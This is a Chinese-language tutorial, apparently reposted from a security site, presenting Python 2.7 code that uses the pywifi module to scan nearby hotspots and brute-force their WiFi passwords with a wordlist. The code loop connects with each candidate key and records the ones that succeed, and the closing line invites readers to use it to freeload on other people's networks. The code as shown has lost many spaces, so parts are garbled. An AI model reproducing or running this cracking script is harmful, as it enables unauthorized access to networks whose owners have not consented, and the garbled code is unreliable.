频道栏目
首页 > 资讯 > 路由器 > 正文

Python与WiFi密码寻回

17-06-28        来源:[db:作者]  
收藏   我要投稿

Python与WiFi密码寻回

环境准备

python2.7

pywifi模块

字典

清除系统中的任何wifi连接记录

导入模块

这里用的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判断需要修改,不然会有很多的提示信息。

from pywifi import *

import time

import sys

字典准备

python 群 565266089

配置扫描器

推荐扫描时常可以设置在15-20秒之间 测试时常则可以自定义,考虑到认证速度于距离的关系,我一般设置在15左右,再久的也没意义 到时候就算破解成功的热点,信号也好不到哪里。

扫描周围热点

defscans(face,timeout):

#开始扫描

face.scan()

time.sleep(timeout)

#在若干秒后获取扫描结果

return face.scan_results()

热点测试

这里后续推荐将扫描过程数据入库,防止重复扫描,且更加直观。

deftest(i,face,x,key,stu,ts):

#显示对应网络名称,考虑到部分中文名啧显示bssid

showID= x.bssidiflen(x.ssid)>len(x.bssid)elsex.ssid

#迭代字典并进行爆破

forn,kinenumerate(key):

x.key= k.strip()

#移除所有热点配置

face.remove_all_network_profiles()

#讲封装好的目标尝试连接

face.connect(face.add_network_profile(x))

#初始化状态码,考虑到用0会发生些逻辑错误

code = 10

t1 = time.time()

#循环刷新状态,如果置为0则密码错误,如超时则进行下一个

while code!=0 :

time.sleep(0.1)

code = face.status()

now = time.time()-t1

if now>ts:

break

stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s%*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))

stu.flush()

if code == 4:

face.disconnect()

return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)

return False

案例

这里显示本次测试使用了11个弱口令,并扫描到了20个热点,然后开始坑爹的跑起来了

你以成功连入WiFi ,是不是很有趣,想不想蹭网呢。

相关TAG标签
上一篇:Android污点分析工具flowdroid源码简析
下一篇:Gartner:2017年11大顶尖信息安全技术
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站